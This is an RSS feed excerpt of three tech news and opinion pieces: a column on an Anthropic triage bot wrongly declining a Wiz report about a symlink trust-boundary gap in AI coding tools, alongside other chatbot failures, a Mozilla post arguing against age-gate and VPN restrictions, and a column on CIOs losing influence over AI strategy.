					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at <a href="https://www.wiz.io/" target="_blank" rel="noreferrer noopener">Wiz</a>. </p>



<p class="wp-block-paragraph">It also turned out to be news to Anthropic execs, who had a very different view. </p>



<p class="wp-block-paragraph">In reality, Anthropic was one of many victims of the hole — <a href="https://www.csoonline.com/article/4195235/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop.html" target="_blank">including Amazon, Google and Cursor, among others</a>. But what makes the incident so bizarre is that, far from dismissing the threat, Anthropic had detected it before the security researchers and had even patched it before the researchers alerted them. </p>



<p class="wp-block-paragraph">As these AI bots are wont to do, the bot didn’t merely reject the request. It confidently explained its rationale, even though its reasoning was wrong. </p>



<p class="wp-block-paragraph">“This falls outside our current threat model,” the chatbot said, <a href="https://www.wiz.io/blog/ghostapproval-a-trust-boundary-gap-in-ai-coding-assistants" target="_blank" rel="noreferrer noopener">according to a report by Wiz</a>. “When the user first starts Claude Code in a directory, they must confirm that they trust the directory prior to starting the session. The scenario you describe involves a user explicitly confirming a permission prompt inside of a directory containing a malicious symlink, which falls outside of the Claude Code threat model.”</p>



<p class="wp-block-paragraph">That researchers said Anthropic management later clarified the situation: “The symlink warning in the Edit/Write permission dialog shipped in v2.1.32 (Feb 5, 2026), nine days before this report was submitted to us. It was added as part of proactive security hardening based on internal review. The decline to comment was an autoreply from our triage system.” </p>



<p class="wp-block-paragraph">An autoreply from our triage system? How many other make-believe replies did this system send? And what level of damage is Anthropic exposing itself to? </p>



<p class="wp-block-paragraph">This is not just an Anthropic issue. There have been numerous enterprise bot glitches in communications  with customers. Some of my favorites include:</p>



<ul class="wp-block-list">
<li>Bots that chose on their own to cancel customers. (This actually was another Anthropic incident.) In this case, <a href="https://www.computerworld.com/article/4108169/using-ai-to-automatically-cancel-customers-not-a-smart-move.html">an Anthropic bot cancelled the AI account of a Swiss company</a> that depended on the service. A lawyer got involved and the account was restored within a day — minus 80% of the data. Oops.</li>



<li>A Cursor bot decided to log customers off when they switched devices, which it shouldn’t have done. The bot then emailed customers and lied that, “The logouts were expected behavior under a new login policy.” <a href="https://www.yahoo.com/news/customer-support-ai-went-rogue-120000474.html">A Fortune story</a> detailed how “the news spread rapidly in the developer community, leading to reports of users cancelling their subscriptions, while some complained about the lack of transparency. Cofounder Michael Truell finally posted on Reddit acknowledging the ‘incorrect response from a front-line AI support bot’ and said it was investigating a bug that logged users out. ‘Apologies about the confusion here,’ he wrote.”</li>



<li>Voters in Scottish elections were<a href="https://www.theguardian.com/technology/2026/may/20/ai-chatbots-chatgpt-replika-grok-gemini-misinformation-scottish-election-demos" target="_blank" rel="noreferrer noopener"> tricked by government AI bots</a> that “variously invented fictitious scandals, gave the wrong date for the election, claimed wrongly that voters in Scottish elections needed ID at polling stations and placed candidates in the wrong contests.”</li>



<li>And let’s not forge <a href="https://cybermaniacs.com/news/air-canada-chatbot-case-when-ai-speaks-for-the-company#:~:text=As%2520The%2520Guardian%2520reported%252C%2520the%2520tribunal%2520found,information%2520about%2520the%2520airline's%2520bereavement%2520fare%2520policy" target="_blank" rel="noreferrer noopener">the classic story about the Air Canada bot</a>, where “Air Canada was ordered to compensate a customer after its chatbot gave incorrect information about the airline’s bereavement fare policy. The tribunal found that Air Canada was responsible for information provided through its website, including the chatbot.”</li>
</ul>



<p class="wp-block-paragraph">Let’s be clear, here: Bots should be limited to relaying only pre-approved scripts. </p>



<p class="wp-block-paragraph">Generative AI allows for far greater chatbot sophistication, but that also means the chance of far greater errors. This is untenable in any business function. And when the app is pretending to be a human — and interacting with human customers — it’s even more unacceptable.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Privacy Blog: Beyond technical fixes: Protecting kids online without breaking the internet]]></title>
<description><![CDATA[This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. 
Young people ...]]></description>
<link>https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. </i></p>
<p>Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the <a href="https://www.nature.com/articles/s41562-018-0506-1">relationship between these technologies and young people’s well-being</a> have grown, too. While concerns about the societal implications of new technologies is <a href="https://journals.sagepub.com/doi/10.1177/1745691620919372">not a new phenomenon</a>, <a href="https://www.science.org/doi/10.1126/science.adt6807">experts argue</a> that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research <a href="https://osf.io/preprints/psyarxiv/m38u6_v2">documents</a> the harms experienced by young people online and the challenges <a href="https://ijse.padovauniversitypress.it/2024/1/8">reported</a> by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like <a href="https://www.nature.com/articles/s41562-025-02134-4">existing mental health conditions</a>, <a href="https://onlinelibrary.wiley.com/doi/full/10.1002/jad.12193">socio-economic circumstances</a> and <a href="https://www.sciencedirect.com/science/article/pii/S0747563224000244">parental mediation</a> to understand the real-world effects of digital technologies.</p>
<p>Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new <a href="https://www.schneier.com/blog/archives/2026/05/laurie-anderson-is-quoting-me.html">technical solutions</a> to difficult questions, this has led, <a href="https://avpassociation.com/map/">across jurisdictions</a>, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.</p>
<p>Privacy and user empowerment have always formed a core part of Mozilla’s mission. As <a href="https://blog.mozilla.org/netpolicy/2025/12/19/australias-social-media-ban-why-age-limits-wont-fix-what-is-wrong-with-online-platforms/">we have said before</a>, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.</p>
<p>While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression <a href="https://kgi.georgetown.edu/wp-content/uploads/2026/01/Age_Assurance_Online_Technical-Assessment_Report_KGI.pdf">remain</a>. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.</p>
<p><em><b>Ineffective age-gating mandates and the dangerous shift toward VPN restrictions</b></em></p>
<p>As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update <a href="https://www.esafety.gov.au/sites/default/files/2026-03/SocialMediaMinimumAgeComplianceUpdateMarch2026.pdf?v=1775600939713">reports</a> that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">study</a> on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, <a href="https://www.ftc.gov/sites/default/files/documents/public_comments/massachusetts-00243%C2%A0/00243-82161.pdf">studies</a> indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.</p>
<p>Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">research</a> shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are <a href="https://www.europarl.europa.eu/RegData/etudes/ATAG/2026/782618/EPRS_ATA(2026)782618_EN.pdf">increasingly</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">framed</a> as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, <a href="https://home.crin.org/the-big-debates/vpns-for-children">including young people</a>.</p>
<p><a href="https://www.eff.org/deeplinks/2026/04/utahs-new-law-regulating-vpns-goes-effect-next-week">Utah’s recent age verification law</a> holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers <a href="https://www.bbc.com/news/articles/c9824zvpz9po">debated</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">age gates</a> for VPNs extensively, but <a href="https://www.bbc.com/news/articles/c982857nlrlo">stopped short</a> of restricting VPNs after <a href="https://www.gov.uk/government/publications/childrens-circumvention-behaviours-online?utm_medium=email&amp;utm_campaign=govuk-notifications-topic&amp;utm_source=97439257-1368-42dd-835e-2ecc1f690097&amp;utm_content=immediately">new evidence</a> <a href="https://vpntrust.net/2026/07/08/new-yougov-research-finds-vpns-are-not-widely-used-by-children-to-avoid-age-checks/?msg_pos=1">confirmed</a> that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/decreto/d12880.htm">empowers</a> the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.</p>
<p>We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.</p>
<p><em><strong>Moving beyond access bans</strong></em></p>
<p>We strongly believe that online safety frameworks should be grounded in <a href="https://www.unicef.org/innovation/stories/protecting-childrens-rights-in-digital-environments">children’s rights</a>, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.</p>
<p>Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1579">Meta</a> and <a href="https://digital-strategy.ec.europa.eu/en/news/commission-preliminarily-finds-tiktoks-addictive-design-breach-digital-services-act">TikTok</a> find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.</p>
<p>The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.</p>
<p>This is why we support proposals like <a href="https://blog.mozilla.org/netpolicy/2025/10/31/pathways-to-a-fairer-digital-world-mozilla-shares-views-on-the-eu-digital-fairness-act/">EU Digital Fairness Act (DFA) </a>and the <a href="https://blog.mozilla.org/netpolicy/2026/06/11/a-handful-of-companies-control-the-web-aicoa-can-change-that/">American Innovation and Choice Online Act (AICOA)</a> that could fill regulatory gaps. Specifically, we advocate for the <b>prohibition of harmful design</b>, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.</p>
<p>Further, we urge policymakers to adopt a <b>privacy-first approach to online harms</b>. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.</p>
<p>Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.</p>
<p>Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to <b>empower users with easy, effective opt-out rights and granular user controls</b>. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.</p>
<p>Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.</p>
<p>We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.</p>
<p>Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.</p>
<p>The post <a href="https://blog.mozilla.org/netpolicy/2026/07/17/beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/">Beyond technical fixes: Protecting kids online without breaking the internet </a> appeared first on <a href="https://blog.mozilla.org/netpolicy">Open Policy &amp; Advocacy</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,26ms -->